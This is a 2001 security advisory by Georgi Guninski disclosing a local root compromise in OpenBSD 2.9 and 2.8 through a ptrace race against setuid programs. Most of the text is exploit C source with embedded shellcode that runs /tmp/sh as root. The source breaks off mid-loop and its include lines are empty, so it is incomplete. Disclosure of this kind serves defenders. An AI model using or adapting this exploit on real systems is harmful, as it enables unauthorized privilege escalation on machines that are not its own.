guninski@guninski.com Georgi Guninski security advisory #47, 2001 OpenBSD 2.9,2.8 local root compromise Systems affected: OpenBSD 2.9,2.8 Have not tested on other OSes but they may be vulnerable Risk: High Date: 14 June 2001 Legal Notice: This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The information in this advisory is believed to be true based on experiments though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: There is local root compromise in OpenBSD 2.9, 2.8 due to a race probably in the kernel. This is quite similar to the linux kernel race several months ago. Details: By forking a few process it is possible to attach to +s pid with ptrace. The process seems to be in a strange state when it is attached. Contrary to the man info PT_DETACH allows specifying an address to which execution is continued. Exploit: http://www.guninski.com/vvopenbsd.c /* Written by Georgi Guninski http://www.guninski.com Tested on OpenBSD 2.9 and 2.8 Works best after reboot - the +s program must not be executed before, seems executes /tmp/sh /tmp/su must be a link to +s program if the +s program has been executed, create and run shell script the size of RAM You may need to type "fg" if the program receives stop signal you may need to run the program several times */ #include #include #include #include #include #include #include #include #include #include int me=0; void endit(int x) { if(!me) { printf("exiting\n"); exit(0); } } extern char **environ; int main(int ac, char **av) { volatile struct reg pt; //exec "/tmp/sh" char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; int j,status,sig; volatile int done=0; volatile static int done2=0; int pid,pid2,i; int num; // number of processes to fork. 20 works for me on Pentium500 int target; char *env1; // address of $joro where execution of shell code begins.may need to be changed unsigned int breakat=0xdfbfddaf; num=20; pid=getpid(); if(!getenv("joro")) { setenv("joro",bsdshell,1); if (execle(av[0],"a",NULL,environ)) perror("exec"); } else breakat=(int)getenv("joro"); printf("Written by Georgi Guninski\nShall jump to %x\n",breakat); target=pid; printf("Started pid1=%d target=%d\n",pid,target); for(i=0;i